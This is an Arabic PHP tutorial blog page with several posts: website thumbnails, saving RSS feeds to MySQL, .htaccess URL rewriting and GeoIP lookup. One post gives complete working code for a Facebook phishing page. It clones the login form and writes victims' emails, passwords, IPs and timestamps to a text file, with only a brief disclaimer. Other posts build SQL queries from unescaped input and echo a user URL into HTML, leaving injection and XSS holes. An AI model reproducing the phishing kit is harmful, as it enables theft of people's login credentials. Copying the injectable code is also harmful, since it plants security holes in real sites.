عمل صورة عن المواقع بـPagePeeker

السبت، 13 يوليو 2013 | |
اليوم اقدم لكم شرح كيف تقوم بعمل صورة عن المواقع اي انك تضع الرابط و يعطيك صورة عن شكل الموقع…
و سوف نقوم بعمل ذلك بطريقة سهلة للغاية عن طريق Api موقع PagePeeker
نبدأ علي بركة الله :
نقوم بعمل ملف create.php
و نكتب كود فورم رابط الموقع المطلوب صورة عنة:
<?
echo'
<form action="image.php" method="post" name="image" target="_self">
<input name="url" type="url" />
<input name="submit" type="submit" value="submit" />
&nbsp;
</form>';
?>
نتيجة create.php
ثم نقوم بعمل ملف المستهدف اي ملف استدعاء الصورة:
ملف image.php
ونكتب كود التالي:
<?
$url = $_POST["url"];
if ($url == '' ) {
echo'<center>يجب ان تضع رابط الموقع</center>';
}
else
$img = "<a href='".$url."' title='".$url."'><img src='http://free.pagepeeker.com/v2/thumbs.php?size=x&url=".$url."' border='0' /></a>";
echo $img
?>
و اضافة احببت ان اضيفها , ان عندما لا تكتب رابط اي تضغط ارسال بدون كتابة شئ يظهر لك:
عند عدم كتابة الرابط
و النتيجة عند كتابة رابط دايجست 3>
دايجست
تابع القراءة

شرح برمجة الصفحات المزورة في الـ PHP

| |



اليوم سأقوم بشرح برمجة الصفحات المزورة في لغة الـ PHP وسأقوم بالتطبيق على صفحة دخول موقع الفيسبوك يمكن تطبيق الشرح على اي موقع آخر بمجرد معرفتك للأساسيات

أولاً سنقوم بإنشاء 3 ملفات
facebook.html
login.php
accounts.txt يحتاج إلى تصريح 777 ليتم الكتابة عليه

ثم نقوم بالدخول لصفحة الفيسبوك ونفتح مصدر الصفحة
الآن سنقوم بنسخ مصدر الصفحة كاملاً ونحفظه في ملف facebook.html
و سنعدل الـ action الخاص بنموذج الدخول login_form

<form id="login_form" action="https://www.facebook.com/login.php?login_attempt=1"
إلى

<form id="login_form" action="login.php"
ونأخذ اسم حقل اليوزر والباسوورد من فورم الدخول
name="pass"
name="email"
والآن سننشىء ملف login.php
<?php
$email = $_POST['email'];
$password = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l:d:m:Y");
$time = date("h:i:s");
$data = " Email : $email \n Password : $password \n IP Address: $ip \n Date: $date \n Time: $time \n ########################################################### \n";
$file = "accounts.txt";
$x = fopen ($file,"a");
fwrite  ($x,$data);
fclose($x);
header('location:https://www.facebook.com/');
?>

في بداية الملف قمنا بتمرير المدخلات email , pass عبر الـ post
ووضعنا متغير يحتوي على دالة لجلب الـ ip
وثم متغير للتاريخ ومتغير للوقت باستخدام دالة date
وثم متغير $data نضع فيه ما نريد طباعته على الملف النصي
ومتغير $file وضعت فيه اسم الملف النصي الذي سيتم الكتابة عليه
ثم قمنا بفتح الملف والكتابة عليه ومن ثم اغلاق الملف
وأخيراً استعملنا header للتحويل إلى الفيس بوك بعد ما قمنا بالكتابة على الملف جميع البيانات

النتيجة :)



* ملاحضة : الشرح للأغراض العلمية ولتوضيح الفكرة فقط وﻻ اشجع باستخدام ما ذكر في الشرح بأمور غير شرعية
تابع القراءة

جلب محتوى RSS وحفظه في قاعدة البيانات

الخميس، 11 يوليو 2013 | |
اليوم سنشرح جلب محتوى RSS من أي خلاصة أخبارية وحفظها في قاعدة البيانات بواسطة كلاس lastRSS وثم نقوم بعرضها بصفحة واحدة بشكل بسيط او نقوم بانشاء عناوين وصفحة لكل خبر او مقال
اولاً سنقوم بتحميل الكلاس من هـنـا
ثم سنقوم بإنشاء قاعدة البيانات وسيكون تكوينها كالآتي
CREATE TABLE dig3st_rss (
id int(11) NOT NULL AUTO_INCREMENT,
title varchar(255) NOT NULL,
link varchar(255) NOT NULL,
content text NOT NULL,
PRIMARY KEY (id)
);
قمنا بإنشاء جدول اسمه dig3st_rss
وقمنا بإنشاء حقل id للخبر يقوم بالادخال التلقائي وهو مفتاح الاساس
وحقلين title , link من نوع varchar لعنوان الخبر ورابطه
وحقل content من نوع text لمحتوى التغذية

الآن سيكون ملف السكريبت يحتوي الآتي :
lastRSS.php : ملف الكلاس
db.php : ملف الاتصال بقاعدة البيانات
feed.php : ملف جلب الاخبار وإضافتها في قاعدة البيانات
show.php : ملف عرض عناوين الاخبار
news.php : ملف عرض الخبر في صفحة مستقلة

الان سنقوم بإنشاء ملف db.php للأتصال بقاعدة البيانات
<?php

$connectdb = @mysql_connect("localhost", "root", "123456") or die("خطأ في أتصال قاعدة البيانات");
@mysql_select_db("dig3st", $connectdb) ;

?>
والان إنشاء ملف feed.php لجلب الاخبار ووضعها بقاعدة البيانات
<?php

include "db.php";
include "lastRSS.php";

    $rss = new lastRSS;
    $rss->cache_dir = '/cashe';  
    $rss->cache_time = 5000;  

    if ($rs = $rss->get('http://www.dig3st.com/feed/')) {
    foreach ($rs['items'] as $item) {
         if (!mysql_fetch_array(
                mysql_query("SELECT id FROM
                                `dig3st_rss` where
                                     `title` = '".$item['title']."'")
                    )){

        mysql_query("INSERT INTO `dig3st_rss` (
                            `title` ,
                            `link` ,
                            `content`
                        )
                        VALUES (
                             '".$item['title']."',
                             '".$item['link']."',
                             '".$item['description']."'
                        )");
        }         }  
    }
?>

في البداية قمنا باستدعاء ملف الكلاس وملف الاتصال بالقاعدة
ثم أنشأنا كائن lastRSS
ثم حددنا مسار الملف الذي سيخزن فيه الكاش وملف الكاش يحتاج إلى ترخيص 777
وقمنا بتحديد زمن تحديث الكاش بالثواني يفضل ان تكون 1200 على الأقل ما يساوي 20 دقيقة
ثم قمنا بتحديد رابط الخلاصة لجلب الأخبار منه باستخدام الكلاس
ثم نفحص القاعدة اذا كان يوجد خبر بهذا العنوان وإذا كان الخبر موجود سيتجاهله واذا لم يكن موجود سيقوم بإضافته
الان عند فتح ملف feed.php من المتصفح سيقوم بجلب الاخبار وإضافتها إلى قاعدة البيانات

الان إنشاء ملف show.php لعرض عناوين الاخبار
<?php

 include "db.php";

 $sql = @mysql_query("select * FROM `dig3st_rss` order by id desc");
        while($row = mysql_fetch_object($sql)) {
            echo '<p>
                    <a target="_blank" href="news.php?id='.$row->id.'">
                    '.$row->title.'
                    </a><br />
                 </p>';
        }

?>
والنتيجة

اذا اردت عرض كل خبر في صفحة مستقلة سنقوم بتعديل بسيط على صفحة show.php
<?php

 include "db.php";

 $sql = @mysql_query("select * FROM `dig3st_rss` order by id desc");
        while($row = mysql_fetch_object($sql)) {
            echo '<p>
                    <a target="_blank" href="news.php?id='.$row->id.'">
                    '.$row->title.'
                    </a><br />
                 </p>';
        }

?>
والآن أنشاء ملف news.php
<?php

include "db.php";

$id = intval($_GET['id']);

$news = mysql_query("SELECT * FROM dig3st_rss where id = '".$id."' ");

$row = mysql_fetch_object($news);

echo "<a href='".$row->link."'>".$row->title."</a>";
echo "<br /><hr />";
echo htmlspecialchars($row->content);

?>
 صورة من عرض الخبر في صفحة مستقلة

تابع القراءة

تغيير تركيبة الروابط عبر htaccess في الـ PHP

الأربعاء، 10 يوليو 2013 | |
اليوم سأشرح طريقة تغيير تركيبة روابط موقعك باستخدام ملف htaccess في الـ PHP حيث تستطيع جعل الرابط بشكل مختصر والتحكم فيه وسنشرح جزء بسيط من وظائف ملف htaccess التي تتعلق بروابط الملفات وتركيبتها

أولاً لدينا ملف اسمه news.php يقوم بعرض الأخبار من قاعدة البيانات

وبالوضع الطبيعي سيعرض الخبر كالآتي

وهذا جملة الاستعلام لعرض الاخبار
mysql_query("SELECT * FROM news where id = '".$id."' ")
والان سأضيف حقل في قاعدة البيانات واسميه slug_name


الان سنقوم بعرض الروابط على الـ slug_name بدل الـ id
mysql_query("SELECT * FROM news where slug_name = '".$id."' ")
ﻻحظ كيف اصبح رابط الخبر

الآن سنقوم بكتابة ملف .htaccess لنتحكم بالروابط أكثر

نقوم ببداية الملف بكتابة الكود التالي لتفعيل خاصية mod rewrite
RewriteEngine on
 ثم الان نقوم بتحديد شكل الرابط
RewriteRule ^([a-zA-Z0-9]+)$ news.php?id=$1
RewriteRule : تعني بداية التغيير على الرابط
^ : بدء الجزء الخاص بالامتداد الجديد
([a-zA-Z0-9]+) : شكل الرابط الجديد وتعني انه من الحروف والارقام a-z , A-Z , 0-9
$ : هي نهاية الجزء الخاص بالامتداد الجديد
news.php?id=$1 : هي شكل الرابط قبل التعديل

ليصبح تكوين الملف كامل
RewriteEngine On
RewriteRule ^([a-zA-Z0-9]+)$ news.php?id=$1
والنتيجة :)

مثال آخر
ليكون رابط الخبر بهذا الشكل

news/slug_name.html
RewriteEngine On RewriteRule ^news/([a-zA-Z0-9]+).html$ news.php?id=$1
والنتيجة

طبعاً نستطيع عن طريق جملة الاستعلام ان نعرض الـ id او حقل آخر بدل حقل الـ slug_name
تابع القراءة

مكتبة GeoIPLocation لتحديد الموقع بـ PHP

الخميس، 4 يوليو 2013 | |

مكتبة GeoIPLocation تقوم بتحديد بلد الزائر عن طريق الـ IP
لا تتطلب قواعد بيانات وهي مكونة من ملف واحد سهل الاستخدام

الاستخدام :
1- قم بتحمل المكتبة من موقعها الرسمي هنا
2- قم بفك الضغط عن الملف
3- ثم استدعي ملف ( geoiploc.php )
4- انظر إلى بعض الأمثلة في الأسفل

اولاً استدعاء المكتبة
include("geoiploc.php");
ثم نستخدم دالة لجلب الاي بي
$ip = $_SERVER["REMOTE_ADDR"];

طريقة العرض
// إضهار بلد الزائر ( الافتراضي )

echo getCountryFromIP($ip);

// رمز البلد الخاص بالزائر مثل jo , sa , sy , egy , ps

echo getCountryFromIP($ip, "code");

// إظهار اختصار لإسم بلد الزائر مثل jor

echo getCountryFromIP($ip, "AbBr");

// إظهار الاسم الكامل لبلد الزائر

echo getCountryFromIP($ip, " NamE ");

مثال شامل
<?php

// استدعاء المكتبة

include("geoiploc.php");

// دالة عرض الاي بي

$ip = $_SERVER["REMOTE_ADDR"];

echo "الاي بي : ";
echo $ip;
echo "<br />";

// إضهار بلد الزائر ( الافتراضي )

echo "انت من : ";
echo getCountryFromIP($ip);
echo "<br />";

// رمز البلد الخاص بالزائر مثل jo , sa , sy , egy , ps

echo "رمز بلدك هو : ";
echo getCountryFromIP($ip, "code");
echo "<br>";

// إظهار اختصار لإسم بلد الزائر مثل jor

echo "الاسم المختصر لبلدك : ";
echo getCountryFromIP($ip, "AbBr");
echo "<br />";

// إظهار الاسم الكامل لبلد الزائر

echo "الاسم الكامل لبلدك : ";
echo getCountryFromIP($ip, " NamE ");
echo "<br />";

?>

النتيجة :)

تابع القراءة

جميع الحقوق محفوظة Dig3st.com ©2013

شاركنا الكتابة